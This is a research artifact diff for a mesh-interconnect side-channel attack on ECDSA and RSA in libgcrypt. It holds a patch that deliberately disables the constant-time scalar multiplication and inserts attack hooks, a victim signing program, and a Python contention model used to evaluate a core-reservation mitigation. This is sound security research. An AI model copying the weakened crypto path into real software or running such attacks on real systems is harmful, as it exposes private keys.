+\ No newline at end of file +diff --git a/mpi/Makefile.am b/mpi/Makefile.am +index c41b1ea..281696d 100644 +--- a/mpi/Makefile.am ++++ b/mpi/Makefile.am +@@ -174,4 +174,16 @@ libmpi_la_SOURCES = longlong.h \ + mpih-div.c \ + mpih-mul.c \ + mpiutil.c \ +- ec.c ec-internal.h ec-ed25519.c ++ ec.c ec-internal.h ec-ed25519.c \ ++ ../../../scutil/dont-mesh-around.h \ ++ ../../../scutil/dont-mesh-around.c \ ++ ../../../../util/util.h \ ++ ../../../../util/util.c \ ++ ../../../../util/machine_const.h \ ++ ../../../../util/pmon_utils.h \ ++ ../../../../util/pmon_utils.c \ ++ ../../../../util/skx_hash_utils.h \ ++ ../../../../util/skx_hash_utils.c \ ++ ../../../../util/pfn_util.c \ ++ ../../../../util/pfn_util.h ++ +diff --git a/mpi/ec.c b/mpi/ec.c +index 168076f..149f4b6 100644 +--- a/mpi/ec.c ++++ b/mpi/ec.c +@@ -30,6 +30,7 @@ + #include "ec-context.h" + #include "ec-internal.h" + ++#include "../../../scutil/dont-mesh-around.h" // dont-mesh-around + + #define point_init(a) _gcry_mpi_point_init ((a)) + #define point_free(a) _gcry_mpi_point_free_parts ((a)) +@@ -1117,7 +1118,10 @@ _gcry_mpi_ec_mul_point (mpi_point_t result, + mpi_set_ui (result->y, 1); + mpi_set_ui (result->z, 1); + +- if (mpi_is_secure (scalar)) ++ uint8_t attacking; // dont-mesh-around ++ prepare_for_attack(&attacking); // dont-mesh-around ++ ++ if (0 && mpi_is_secure (scalar)) + { + /* If SCALAR is in secure memory we assume that it is the + secret key we use constant time operation. */ +@@ -1137,11 +1141,23 @@ _gcry_mpi_ec_mul_point (mpi_point_t result, + { + for (j=nbits-1; j >= 0; j--) + { ++ check_attack_iteration(&attacking); // dont-mesh-around ++ cryptoloop_check_a(&attacking); // dont-mesh-around ++ + _gcry_mpi_ec_dup_point (result, result, ctx); +- if (mpi_test_bit (scalar, j)) ++ ++ // cryptoloop_print_ground_truth_bit(mpi_test_bit (scalar, j)); // dont-mesh-around ++ ++ if (mpi_test_bit (scalar, j)) { ++ cryptoloop_check_b(&attacking); // dont-mesh-around ++ + _gcry_mpi_ec_add_points (result, result, point, ctx); ++ } + } + } ++ ++ end_attack(&attacking); // dont-mesh-around ++ + return; + } + +diff --git a/tests/Makefile.am b/tests/Makefile.am +index 9645471..9f146c0 100644 +--- a/tests/Makefile.am ++++ b/tests/Makefile.am +@@ -22,7 +22,7 @@ tests_bin = \ + version mpitests tsexp t-convert \ + t-mpi-bit t-mpi-point curves t-lock \ + prime basic keygen pubkey hmac hashtest t-kdf keygrip \ +- fips186-dsa aeswrap pkcs1v2 random dsa-rfc6979 t-ed25519 ++ fips186-dsa aeswrap pkcs1v2 random dsa-rfc6979 t-ed25519 mesh-victim + + tests_bin_last = benchmark bench-slope + +diff --git a/tests/mesh-victim.c b/tests/mesh-victim.c +new file mode 100644 +index 0000000..92788bf +--- /dev/null ++++ b/tests/mesh-victim.c +@@ -0,0 +1,183 @@ ++/* ++ * This is a simplified version of the pubkey.c unit test ++ * that we will use as the victim calling the functions ++ * of interest from the libgcrypt library. ++ * ++ * We run the victim from this test file because it's easier than writing a standalone C file. ++ * The test function called above performs one signature of some fixed hashed data, with a "random" key. ++ */ ++ ++#ifdef HAVE_CONFIG_H ++#include ++#endif ++#include ++#include ++#include ++#include ++ ++#include "../../../scutil/dont-mesh-around.h" ++ ++#include "../src/gcrypt-int.h" ++ ++#define my_isascii(c) (!((c) & 0x80)) ++#define digitp(p) (*(p) >= '0' && *(p) <= '9') ++#define hexdigitp(a) (digitp (a) \ ++ || (*(a) >= 'A' && *(a) <= 'F') \ ++ || (*(a) >= 'a' && *(a) <= 'f')) ++#define xtoi_1(p) (*(p) <= '9'? (*(p)- '0'): \ ++ *(p) <= 'F'? (*(p)-'A'+10):(*(p)-'a'+10)) ++#define xtoi_2(p) ((xtoi_1(p) * 16) + xtoi_1((p)+1)) ++#define DIM(v) (sizeof(v)/sizeof((v)[0])) ++#define DIMof(type,member) DIM(((type *)0)->member) ++ ++static int verbose; ++static int error_count; ++ ++static void ++die (const char *format, ...) ++{ ++ va_list arg_ptr ; ++ ++ va_start( arg_ptr, format ) ; ++ vfprintf (stderr, format, arg_ptr ); ++ va_end(arg_ptr); ++ if (*format && format[strlen(format)-1] != '\n') ++ putc ('\n', stderr); ++ exit (1); ++} ++ ++static void ++show_sexp (const char *prefix, gcry_sexp_t a) ++{ ++ char *buf; ++ size_t size; ++ ++ if (prefix) ++ fputs (prefix, stderr); ++ size = gcry_sexp_sprint (a, GCRYSEXP_FMT_ADVANCED, NULL, 0); ++ buf = gcry_xmalloc (size); ++ ++ gcry_sexp_sprint (a, GCRYSEXP_FMT_ADVANCED, buf, size); ++ fprintf (stderr, "%.*s", (int)size, buf); ++ gcry_free (buf); ++} ++ ++static void ++check_ed25519ecdsa_sample_key (void) ++{ ++ static const char ecc_private_key_wo_q[] = ++ "(private-key\n" ++ " (ecc\n" ++ " (curve \"Ed25519\")\n" ++ " (d #B1D631B106D440C6BB97069918017C506C499BE097D546873E2B4A83F1CDB99F#)" ++ "))"; ++ static const char hash_string[] = ++ "(data (flags rfc6979)\n" ++ " (hash sha256 #00112233445566778899AABBCCDDEEFF" ++ /* */ "000102030405060708090A0B0C0D0E0F#))"; ++ ++ gpg_error_t err; ++ gcry_sexp_t key, hash, sig; ++ ++ /* Sign without a Q parameter. */ ++ if ((err = gcry_sexp_new (&hash, hash_string, 0, 1))) ++ die ("line %d: %s", __LINE__, gpg_strerror (err)); ++ ++ if ((err = gcry_sexp_new (&key, ecc_private_key_wo_q, 0, 1))) ++ die ("line %d: %s", __LINE__, gpg_strerror (err)); ++ ++ /*********************************************************/ ++ // From here we basically provide an on-demand signing service ++ // to the monitor by repeating the gcry_pk_sign operation ++ int cha_id_to_cpu[26] = {0, 13, 7, -1, ++ 1, 14, 8, 19, 2, ++ 15, 9, 20, 3, ++ 16, 10, 21, 4, ++ 17, 11, 22, 5, 18, ++ 12, 23, 6, -1}; ++ int cpu = cha_id_to_cpu[0]; ++ pin_cpu(cpu); ++ ++ volatile struct sharestruct *mysharestruct = get_sharestruct(); ++ mysharestruct->iteration_of_interest_running = 0; ++ mysharestruct->sign_requested = 0; ++ mysharestruct->use_randomized_key = 0; ++ ++ fprintf(stderr, "\nGO\n"); ++ ++ while(1) { ++ ++ // If a sign was requested ++ if (mysharestruct->sign_requested) { ++ ++ if (mysharestruct->use_randomized_key == 1) { ++ ++ mysharestruct->use_randomized_key = 0; ++ ++ int sign_requested_tmp = mysharestruct->sign_requested; ++ mysharestruct->sign_requested = 0; ++ ++ gcry_sexp_release (key); ++ mysharestruct->bit_of_the_iteration_of_interest = 0; ++ ++ gcry_sexp_t key_spec, key_pair; ++ err = gcry_sexp_build (&key_spec, NULL, ++ "(genkey (ecdsa (curve \"Ed25519\")" ++ "(flags eddsa)))"); ++ err = gcry_pk_genkey (&key_pair, key_spec); ++ gcry_sexp_release (key_spec); ++ key = gcry_sexp_find_token (key_pair, "private-key", 0); ++ gcry_sexp_release (key_pair); ++ ++ if (! key) ++ die ("private part missing in key\n"); ++ ++ // Execute once to warm up cache ++ if ((err = gcry_pk_sign (&sig, hash, key))) ++ die ("gcry_pk_sign w/o Q failed: %s", gpg_strerror (err)); ++ ++ mysharestruct->sign_requested = sign_requested_tmp; ++ } ++ ++ // Wait a moment for the attacker to get ready ++ wait_cycles(10000); ++ ++ // Start vulnerable code ++ if ((err = gcry_pk_sign (&sig, hash, key))) ++ die ("gcry_pk_sign w/o Q failed: %s", gpg_strerror (err)); ++ } ++ } ++ ++ /*********************************************************/ ++ ++ gcry_sexp_release (sig); ++ gcry_sexp_release (key); ++ gcry_sexp_release (hash); ++} ++ ++int ++main (int argc, char **argv) ++{ ++ int debug = 0; ++ ++ if (argc > 1 && !strcmp (argv[1], "--verbose")) ++ verbose = 1; ++ else if (argc > 1 && !strcmp (argv[1], "--debug")) ++ { ++ verbose = 2; ++ debug = 1; ++ } ++ ++ gcry_control (GCRYCTL_DISABLE_SECMEM, 0); ++ if (!gcry_check_version (GCRYPT_VERSION)) ++ die ("version mismatch\n"); ++ gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); ++ if (debug) ++ gcry_control (GCRYCTL_SET_DEBUG_FLAGS, 1u , 0); ++ /* No valuable keys are create, so we can speed up our RNG. */ ++ gcry_control (GCRYCTL_ENABLE_QUICK_RANDOM, 0); ++ ++ check_ed25519ecdsa_sample_key (); ++ ++ return !!error_count; ++} diff --git a/04-analytical-model/README.md b/04-analytical-model/README.md new file mode 100644 index 0000000..bc7a5d6 --- /dev/null +++ b/04-analytical-model/README.md @@ -0,0 +1,90 @@ +# Analytical Model + +This directory contains the analytical model used to create the software-based mitigations and analyze the vulnerability of various cores. + +## Prerequisites + +- Make sure `config.py` contains the correct die layout information for your processor. +- Make sure you have built the binaries in `side-channel` with `make`. + +## Analytical Model Usage + +**Expected Runtime: 1 min** + +The core of the analytical model is provided by the `get_config_contention` function inside `predict_contention.py`. +This function returns the relative contention level observable by an attacker for a particular configuration of victim and attacker. +An example of how to use this function can be found in `make-heatmap.py` which generates the data used to make the heatmap in Figure 12. +This can be run with `../venv/bin/python make-heatmap.py`. + +## Model Verification + +Model verification requires two steps: data collection and plotting. +We use the single-bit classification accuracy from the `side-channel` directory to validate our model. +The output from the side channel runs is piped into the `analytical-model` directory where the `model-validation.py` script will produce the correlation plot shown in Figure 13. + +### Data Collection + +**Expected Runtime: 14 hours (approx 7 hours each for ECDSA and RSA)** + +To run the model verification, you will need to switch into the `side-channel` directory and use the orchestrator script. +Run the commands below starting from the current directory (`analytical-model`). +Because this is a long-running job, it is recommended to run it inside a `tmux` session. + +```bash +# Make a data directory in the analytical model directory to hold the output +mkdir data + +# Enter the side-channel directory +cd ../03-side-channel + +# Run the setup script +./setup.sh + +# -------------------------------------------- +# Collect ECDSA first +# Start the victim +sudo ./victim/libgcrypt-1.6.3/tests/mesh-victim & + +# Run the orchestrator (this step will take about 7 hours) +sudo ../venv/bin/python orchestrator.py --analyticalmodelverify | sudo tee ../04-analytical-model/data/model-verification-ecdsa.out + +# Stop the background victim process +sudo pkill -f mesh-victim + +# -------------------------------------------- + +# Collect RSA next +# Start the victim +sudo ./victim/libgcrypt-1.5.2/tests/mesh-victim & + +# Run the orchestrator (this step will take about 7 hours) +sudo ../venv/bin/python orchestrator.py --analyticalmodelverify | sudo tee ../04-analytical-model/data/model-verification-rsa.out + +# Stop the background victim process +sudo pkill -f mesh-victim + +# -------------------------------------------- +# Data collection is complete +# Cleanup the environment +./cleanup.sh +``` + +### Plotting + +**Expected Runtime: 1 min** + +The output from the orchestrator is piped into `analytical-model/data`. +This output is parsed by the `model-verification.py` script which can be run with `../venv/bin/python model-verification.py`. + +An example verification plot is shown below. + +![Model verification plot](../img/model-verification.png) + +## Mitigation Effectiveness + +**Expected Runtime: 5 min** + +We use the analytical model to evaluate the effectiveness of our mitigation. +Run `../venv/bin/python plot-mitigation-effectiveness.py` to reproduce Figure 14. +The plot can be found in `plot/mitigation-effect.pdf` +The script will also print out the raw data in Table 3. diff --git a/04-analytical-model/config.py b/04-analytical-model/config.py new file mode 100644 index 0000000..3e1b3bd --- /dev/null +++ b/04-analytical-model/config.py @@ -0,0 +1,83 @@ +""" +Analytical model processor configuration + +This file describes the setup of the victim machine. All numbers use slice IDs +which are converted into the 2D coordinates used in the paper. +Throughout the code, CHA and slice ID are used synonymously. +""" +##################################### +# Contention weights +##################################### + +# Relative weights of various forms of NoC contention +# These were obtained from reverse-engineering results +AD_RING_SCORE = 1 +BL_RING_SCORE = 2 +AK_RING_SCORE = 1 +# Our model predicts but does not score round-robin contention +ROUNDROBIN_SCORE = 0 + +##################################### +# Processor topology +##################################### + +# Slice IDs of the fully active cores +CORES = [0,1,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24] +# Slice IDs of the LLC slices (all 26 slices are active on our machine) +SLICES = range(26) + +# The physical layout of the slice IDs on the die +# -1 denotes a tile with no slice ID (IMC or fully-disabled core) +DIE_LAYOUT = [ + [0, 4, 9, 13, 17, 22], + [-1, 5, 10, 14, 18, -1], + [1, 6, 11, 15, 19, 23], + [2, 7, 12, -1, 20, 24], + [3, 8, -1, 16, 21, 25] +] + +##################################### +# Lane scheduling policy +##################################### + +# Each entry indicates the lane used when traveling horizontally to a slice on +# that tile +HORZ_TO_SLICE_LANES = [ + ['X', 'A', 'B', 'A', 'B', 'A'], + ['A', 'X', 'B', 'A', 'B', 'A'], + ['A', 'B', 'X', 'A', 'B', 'A'], + ['A', 'B', 'A', 'X', 'B', 'A'], + ['A', 'B', 'A', 'B', 'X', 'A'], + ['A', 'B', 'A', 'B', 'A', 'X'] +] + +# Each entry indicates the lane used when traveling horizontally to a core on +# that tile +HORZ_TO_CORE_LANES = [ + ['X', 'B', 'B', 'B', 'B', 'B'], + ['B', 'X', 'A', 'A', 'A', 'A'], + ['A', 'A', 'X', 'B', 'B', 'B'], + ['B', 'B', 'B', 'X', 'A', 'A'], + ['A', 'A', 'A', 'A', 'X', 'B'], + ['B', 'B', 'B', 'B', 'B', 'X'] +] + +# Each entry indicates the lane used when traveling vertically to a slice on +# that tile +VERT_TO_SLICE_LANES = [ + ['X', 'A', 'B', 'B', 'B'], + ['A', 'X', 'A', 'A', 'A'], + ['B', 'A', 'X', 'A', 'B'], + ['A', 'A', 'A', 'X', 'A'], + ['B', 'B', 'B', 'A', 'X'] +] + +# Each entry indicates the lane used when traveling vertically to a core on +# that tile +VERT_TO_CORE_LANES = [ + ['X', 'B', 'A', 'B', 'A'], + ['B', 'X', 'B', 'B', 'A'], + ['A', 'B', 'X', 'B', 'A'], + ['A', 'B', 'B', 'X', 'B'], + ['A', 'B', 'A', 'B', 'X'] +] \ No newline at end of file diff --git a/04-analytical-model/make-heatmap.py b/04-analytical-model/make-heatmap.py new file mode 100644 index 0000000..8febc72 --- /dev/null +++ b/04-analytical-model/make-heatmap.py @@ -0,0 +1,40 @@ +from predict_contention import * +from utils import print_coord + + +def make_baseline_heatmap(): + """Print out the vulnerability score for every fully-active core. + + Produces data for the heatmap shown in Figure 12. + """ + print('victim\tmax_score\tbest_attacker') + for vic_core in CORES: + max_score = 0 + best_rx = None + for rx_core in CORES: + # do not pin to the same core as the victim + if rx_core == vic_core: continue + for rx_slice in SLICES: + # do not need to test a length-0 victim + if rx_slice == rx_core: continue + + score = 0 + for vic_slice in SLICES: + config_score = get_config_contention(vic_core, vic_slice, rx_core, rx_slice) + score += config_score + if score >= max_score: + max_score = score + best_rx = (rx_core, rx_slice) + + rx_core, rx_slice = best_rx + print(f'{print_coord(vic_core)}\t{max_score}\t\t{print_coord(rx_core)}->{print_coord(rx_slice)}') + + + +def main(): + # Figure 12 + make_baseline_heatmap() + +if __name__ == '__main__': + main() + diff --git a/04-analytical-model/model-verification.py b/04-analytical-model/model-verification.py new file mode 100644 index 0000000..8a13a68 --- /dev/null +++ b/04-analytical-model/model-verification.py @@ -0,0 +1,132 @@ +import logging +import os +import re +from pathlib import Path + +import matplotlib.pyplot as plt +import numpy as np + +from predict_contention import CORES, SLICES, get_config_contention +from utils import print_coord + + +def analytical_model_verification(): + """For the victim on core 0, find the best attacker slice for each attacker core. + + Returns a dictionary mapping each attacker placement to its vulnerability score. + """ + + vuln_score_dict = dict() + vic_core = 0 + for attacker_core in CORES: + max_score = 0 + best_attacker = None # track the best attacker placement: (core, slice) + # we do not pin to the same core as the victim + if attacker_core == vic_core: continue + for attacker_slice in SLICES: + # do not have a length-0 victim + if attacker_slice == attacker_core: continue + + score = 0 + for vic_slice in SLICES: + config_score = get_config_contention(vic_core, vic_slice, attacker_core, attacker_slice) + score += config_score + if score >= max_score: + max_score = score + best_attacker = (attacker_core, attacker_slice) + attacker_core, attacker_slice = best_attacker + print(f'{print_coord(attacker_core)}->{print_coord(attacker_slice)}: {max_score}') + vuln_score_dict[attacker_core] = max_score + return vuln_score_dict + + +def parse_output(filepath): + """Parses the output from side-channel/orchestrator.py --analyticalmodelverify + + Returns 4 arrays with the attacker placements tested, the accuracy, + precision, and recall achieved in each case. + """ + if not os.path.exists(filepath): + logging.error(f'Requested file ({filepath}) does not exist. Please check README.md for instructions on how to collect the verification data before running this script.') + exit() + with open(filepath, 'r') as f: + raw = f.read() + + # Extract accuracy, precision, and recall values + data_pattern = re.compile('accuracy = ([0-9\.]+) precision = ([0-9\.]+) recall = ([0-9\.]+)') + matches = data_pattern.findall(raw) + accuracy = np.array([float(i[0]) for i in matches]) + precision = np.array([float(i[1]) for i in matches]) + recall = np.array([float(i[2]) for i in matches]) + logging.debug(f'Found {len(matches)} data points in the output.') + + # Extract the core values + core_pattern = re.compile('\[.*, \'(.*)\', .*, .*, .*\]') + matches = core_pattern.findall(raw) + attacker_cores = np.array([int(i) for i in matches]) + logging.debug(f'Found {len(attacker_cores)} cores in the output.') + + return (attacker_cores, accuracy, precision, recall) + +def make_plot(attacker_cores, rsa_ml_acc, ecdsa_ml_acc, vuln_score_dict): + """Makes a plot that validates the analytical model. + + Plots the vulnerability score of each attacker placement along with the + observed accuracies achieved by the ML model for ECDSA and RSA. + This function accepts 3 Numpy arrays and a dict: + - attacker_cores: np array of the attacker cores tested + - rsa_ml_acc: np array of the model accuracy for each attacker placement against RSA + - ecdsa_ml_acc: np array of the model accuracy for each attacker placement against ECDSA + - vuln_score_dict: a dictionary mapping each attacker core placement to the + maximum achievable vulnerability score + """ + Path('plot').mkdir(exist_ok=True) + figname = 'plot/model_verification.pdf' + + vuln_scores = np.array([vuln_score_dict[i] for i in attacker_cores]) + + std_rsa_ml_acc = (rsa_ml_acc - rsa_ml_acc.mean()) / rsa_ml_acc.std() + std_ecdsa_ml_acc = (ecdsa_ml_acc - ecdsa_ml_acc.mean()) / ecdsa_ml_acc.std() + std_vuln_scores = (vuln_scores - vuln_scores.mean()) / vuln_scores.std() + + attacker_cores = np.array(attacker_cores) + + # Re-sort for correct left-to-right plotting + sort_indx = np.argsort(attacker_cores) + attacker_cores = attacker_cores[sort_indx] + std_rsa_ml_acc = std_rsa_ml_acc[sort_indx] + std_ecdsa_ml_acc = std_ecdsa_ml_acc[sort_indx] + std_vuln_scores = std_vuln_scores[sort_indx] + + # Plot + labels = [print_coord(i) for i in attacker_cores] + attacker_cores = list(range(len(attacker_cores))) # force the x axis to be evenly spaced + plt.rcParams["figure.figsize"] = (6.4, 2.7) + + plt.axhline(y=0, color='gray', linewidth=1) + plt.plot(attacker_cores, std_rsa_ml_acc, label='Std RSA ML Acc', marker='o', markersize=6) + plt.plot(attacker_cores, std_ecdsa_ml_acc, label='Std ECDSA ML Acc', marker='s', markersize=6) + plt.plot(attacker_cores, std_vuln_scores, label='Std Vuln Score', marker='^', markersize=6) + + plt.xticks(attacker_cores, labels, rotation='vertical') + plt.xlabel('Attacker core') + plt.legend(loc='upper right') + + plt.tight_layout() + plt.savefig(figname) + plt.close() + +def main(): + vuln_score_dict = analytical_model_verification() + + rsa_cores, rsa_acc, _, _ = parse_output('./data/model-verification-rsa.out') + ecdsa_cores, ecdsa_acc, _, _ = parse_output('./data/model-verification-ecdsa.out') + + assert (rsa_cores == ecdsa_cores).all(), 'RSA and ECDSA tests did not test the same cores in the same order. Check that you used the same orchestrator script for these two experiments.' + cores = rsa_cores + + make_plot(cores, rsa_acc, ecdsa_acc, vuln_score_dict) + + +if __name__ == '__main__': + main() diff --git a/04-analytical-model/plot-mitigation-effectiveness.py b/04-analytical-model/plot-mitigation-effectiveness.py new file mode 100644 index 0000000..d26c8a7 --- /dev/null +++ b/04-analytical-model/plot-mitigation-effectiveness.py @@ -0,0 +1,106 @@ +from pathlib import Path + +import matplotlib.pyplot as plt +import numpy as np +import pandas as pd +import seaborn as sns + +from predict_contention import * + + +def _get_sorted_scores(vic_core): + rx_scores = {} + for rx_core in CORES: + # do not pin to the same core as the victim + if rx_core == vic_core: continue + for rx_slice in SLICES: + # do not test a length-0 victim + if rx_slice == rx_core: continue + + score = 0 + for vic_slice in SLICES: + config_score = get_config_contention(vic_core, vic_slice, rx_core, rx_slice) + score += config_score + rx_scores[(rx_core, rx_slice)] = score + sorted_rx_scores = sorted(rx_scores.items(), key=lambda kv: kv[1], reverse=True) + return sorted_rx_scores + +def get_csv_with_mitigation_blocking_N_cores(): + """Simulate blocking the N most vulnerable cores. + + This experiment considers all possible victim placements and the maximum + vulnerability score observable by an attacker if N cores are blocked for all + possible N. + This function prints the data for Figure 14 that is shown in Table 3. + It also returns an np.array where the first column is the victim core + placement and every column afterwards is the maximum observable + vulnerability score if N cores are blocked. + """ + print('Victim Core', end='') + for num in range(25): + print(f', N={num}', end='') + print('') + + blocking_effect = list() + + for vic_core in CORES: + print(f'{vic_core}', end="") + curr_core_blocking_effect = [vic_core] + + # Get sorted receivers + sorted_scores = _get_sorted_scores(vic_core) + + for no in range(25): + + # Get sorted *unique* cores of the receivers + sorted_rx_cores = [] + for rx, score in sorted_scores: + rx_core = rx[0] + if rx_core not in sorted_rx_cores: + sorted_rx_cores.append(rx_core) + + # Now find the best receiver but with some cores blocked + max_score = 0 + for rx, score in sorted_scores: + rx_core = rx[0] + if rx_core not in sorted_rx_cores[:no]: + max_score = score + break + + # Print the best score under the constraint of the mitigation + print(f', {max_score}', end='') + curr_core_blocking_effect.append(max_score) + print('') + blocking_effect.append(curr_core_blocking_effect) + + return np.array(blocking_effect) + +def make_stripplot(blocking_effect): + """Produce a stripplot showing how vulnerability scores change as more cores are blocked.""" + Path('plot').mkdir(exist_ok=True) + output_filename = 'plot/mitigation-effect.pdf' # use the same name as in the document to make uploading to overleaf easier + + blocking_effect = blocking_effect[:, 1:] # strip off the left column + x = list(range(blocking_effect.shape[1])) + cols = blocking_effect.shape[1] + df = pd.DataFrame({ i: blocking_effect[:, i] for i in range(cols) }) + + plt.rcParams["figure.figsize"] = (6, 2) + ax = sns.stripplot(data=df, jitter=1, size=3, color='C0') + ax.set_xlabel('Number of reserved cores') + ax.set_ylabel('Vulnerability score') + + plt.plot(x, np.mean(blocking_effect, axis=0), 'C1-', alpha=0.5, linewidth=3, label='Mean vuln score') + # plt.grid(axis='y') + plt.legend() + + plt.tight_layout() + plt.savefig(output_filename) + plt.close() + +def main(): + blocking_effect = get_csv_with_mitigation_blocking_N_cores() + make_stripplot(blocking_effect) + +if __name__ == '__main__': + main() diff --git a/04-analytical-model/predict_contention.py b/04-analytical-model/predict_contention.py new file mode 100644 index 0000000..8c5dd8c --- /dev/null +++ b/04-analytical-model/predict_contention.py @@ -0,0 +1,193 @@ +from utils import * + + +def is_row_contention(vic_flow, rx_flow, debug=False): + """Check for priority-based contention between two flows in a row.""" + + # Check that everything is on the same row + assert vic_flow.src.y == vic_flow.dst.y, 'vic_flow is not on the same row' + assert rx_flow.src.y == rx_flow.dst.y, 'rx_flow is not on the same row' + + contention_result = ContentionResult(False, False) + if vic_flow.src.x == vic_flow.dst.x or rx_flow.src.x == rx_flow.dst.x or rx_flow.src.y != vic_flow.src.y: + # One of the paths has length 0, no contention + # TODO: technically there could be slice port but this model does not handle that + # print('len0 path') + return contention_result + + vic_dir = get_dir(vic_flow.src.x, vic_flow.dst.x) + rx_dir = get_dir(rx_flow.src.x, rx_flow.dst.x) + + if vic_dir != rx_dir: + if debug: + print('diff direction') + return contention_result + if not is_overlapping(vic_flow.src.x, vic_flow.dst.x, rx_flow.src.x, rx_flow.dst.x): + if debug: + print('not overlapping') + return contention_result + + if (get_horz_lane(vic_flow.src.x, vic_flow.dst.x, vic_flow.dst_type) != + get_horz_lane(rx_flow.src.x, rx_flow.dst.x, rx_flow.dst_type)): + if debug: + print('different lane') + return contention_result + + victim_priority = ((vic_dir == Direction.LEFT and vic_flow.src.x > rx_flow.src.x) or + (vic_dir == Direction.RIGHT and vic_flow.src.x < rx_flow.src.x)) + if victim_priority: + return ContentionResult(True, False) + elif vic_flow.src == rx_flow.src: + # note that this does not guarantee round robin contention. The parent + # function needs to use context to determine if it is appropriate to + # interpret this result + return ContentionResult(False, True) + if debug: + print('no priority') + return contention_result + +def is_col_contention(vic_flow, rx_flow): + """Check for priority-based contention between two flows in a column.""" + + # Check that everything is on the same col + assert vic_flow.src.x == vic_flow.dst.x, 'vic_flow is not on the same col' + assert rx_flow.src.x == rx_flow.dst.x, 'rx_flow is not on the same col' + + contention_result = ContentionResult(False, False) + if vic_flow.src.y == vic_flow.dst.y or rx_flow.src.y == rx_flow.dst.y or vic_flow.src.x != rx_flow.src.x: + # One of the paths has length 0, no contention + # Or the flows are in different cols + # TODO: unless there's slice port contention? + return contention_result + + vic_dir = get_dir(vic_flow.src.y, vic_flow.dst.y) + rx_dir = get_dir(rx_flow.src.y, rx_flow.dst.y) + + if vic_dir != rx_dir: + return contention_result + if not is_overlapping(vic_flow.src.y, vic_flow.dst.y, rx_flow.src.y, rx_flow.dst.y): + return contention_result + + if (get_vert_lane(vic_flow.src.y, vic_flow.dst.y, vic_flow.dst_type) != + get_vert_lane(rx_flow.src.y, rx_flow.dst.y, rx_flow.dst_type)): + return contention_result + + # Left and right here correspond to up and down. There's no need to complicate this + victim_priority = ((vic_dir == Direction.LEFT and vic_flow.src.y > rx_flow.src.y) or + (vic_dir == Direction.RIGHT and vic_flow.src.y < rx_flow.src.y)) + if victim_priority: + return ContentionResult(True, False) + elif vic_flow.src == rx_flow.src: + return ContentionResult(False, True) + + return contention_result + +def get_config_contention(v_c, v_s, r_c, r_s, debug=False): + """Get the contention score of specific victim and receiver placement. + + v_c: victim core + v_s: victim slice + r_c: receiver core + r_s: receiver slice + """ + # print('Config: {}, {}, {}, {}'.format(v_c, v_s, r_c, r_s)) + rr_total = 0 + priority_total = 0 + + v_c_loc = get_coord(v_c) + v_s_loc = get_coord(v_s) + r_c_loc = get_coord(r_c) + r_s_loc = get_coord(r_s) + + # Get the turning coordinate (pivot) from core to slice (forward) + v_forward_pivot = Coord(v_c_loc.x, v_s_loc.y) + r_forward_pivot = Coord(r_c_loc.x, r_s_loc.y) + # Backwards pivots (pivot on slice to core path) + v_backwards_pivot = Coord(v_s_loc.x, v_c_loc.y) + r_backwards_pivot = Coord(r_s_loc.x, r_c_loc.y) + + score = 0 + + # HORIZONTAL CONTENTION + # Check for horizontal request contention + v_rq_flow = Flow(v_forward_pivot, v_s_loc, TileType.SLICE) + r_rq_flow = Flow(r_forward_pivot, r_s_loc, TileType.SLICE) + result = is_row_contention(v_rq_flow, r_rq_flow) + if result.priority: + if debug: + print('AD priority') + score += AD_RING_SCORE # AD ring + priority_total += 1 + + # Check for horizontal data-data contention + v_da_flow = Flow(v_backwards_pivot, v_c_loc, TileType.CORE) + r_da_flow = Flow(r_backwards_pivot, r_c_loc, TileType.CORE) + if debug: + print(v_da_flow, r_da_flow) + result = is_row_contention(v_da_flow, r_da_flow) + if result.priority: + if debug: + print('BL priority') + score += BL_RING_SCORE + AK_RING_SCORE # BL + AK Ring + priority_total += 1 + elif result.roundrobin: + if debug: + print('Data round robin') + score += ROUNDROBIN_SCORE + rr_total += 1 + + # Check for horizontal data-writeback contention + v_wb_flow = Flow(v_forward_pivot, v_s_loc, TileType.SLICE) + result = is_row_contention(v_wb_flow, r_da_flow) + if result.priority: + if debug: + print('WB priority') + score += BL_RING_SCORE # BL Ring + priority_total += 1 + elif result.roundrobin: + if debug: + print('WB round robin') + score += ROUNDROBIN_SCORE + rr_total += 1 + + # VERTICAL CONTENTION + # dst_type here is a little strange. From the RE results, I believe we just + # look at the ultimate destination since technically, a vertical flow + # doesn't go to a core or a slice. We just use this to help us distinguish + # whether it's a wb or a data flow + v_rq_flow = Flow(v_c_loc, v_forward_pivot, TileType.SLICE) + r_rq_flow = Flow(r_c_loc, r_forward_pivot, TileType.SLICE) + result = is_col_contention(v_rq_flow, r_rq_flow) + if result.priority: + if debug: + print('vertical AD priority') + score += AD_RING_SCORE + + # Check for vertical data-data contention + v_da_flow = Flow(v_s_loc, v_backwards_pivot, TileType.CORE) + r_da_flow = Flow(r_s_loc, r_backwards_pivot, TileType.CORE) + result = is_col_contention(v_da_flow, r_da_flow) + if result.priority: + if debug: + print('vertical data priority') + score += BL_RING_SCORE + AK_RING_SCORE # BL + AK Ring + elif result.roundrobin: + if debug: + print('vertical data roundrobin') + score += ROUNDROBIN_SCORE + + # Check for vertical data-writeback contention + v_wb_flow = Flow(v_c_loc, v_forward_pivot, TileType.SLICE) + result = is_col_contention(v_wb_flow, r_da_flow) + if result.priority: + if debug: + print('vertical wb priority') + score += BL_RING_SCORE # BL Ring + elif result.roundrobin: + if debug: + print('vertical wb round robin') + score += ROUNDROBIN_SCORE + + # TODO: special cases, Is there slice port if both are full vert or full horz? + # print('rr: {} priority: {}\n'.format(rr_total, priority_total)) + return score diff --git a/04-analytical-model/tests.py b/04-analytical-model/tests.py new file mode 100644 index 0000000..3786405 --- /dev/null +++ b/04-analytical-model/tests.py @@ -0,0 +1,57 @@ +from predict_contention import * +from utils import * + + +def test_function(label, func, expected, *args): + actual = func(*args) + if expected == actual: + print('{}: PASSED'.format(label)) + else: + print('{}: FAILED; expected {}, got {}'.format(label, expected, actual)) + +if __name__ == '__main__': + ######################################## + # Utils + + ######################################## + # Contention Functions + f0 = Flow(Coord(2,1), Coord(2,1), TileType.SLICE) # Zero hops + f1 = Flow(Coord(0,0), Coord(5,0), TileType.SLICE) # Lane A + f2 = Flow(Coord(2,0), Coord(3,0), TileType.SLICE) # Lane A + f3 = Flow(Coord(2,0), Coord(4,0), TileType.SLICE) # Lane B + f4 = Flow(Coord(0,0), Coord(3,0), TileType.SLICE) + f5 = Flow(Coord(2,0), Coord(4,0), 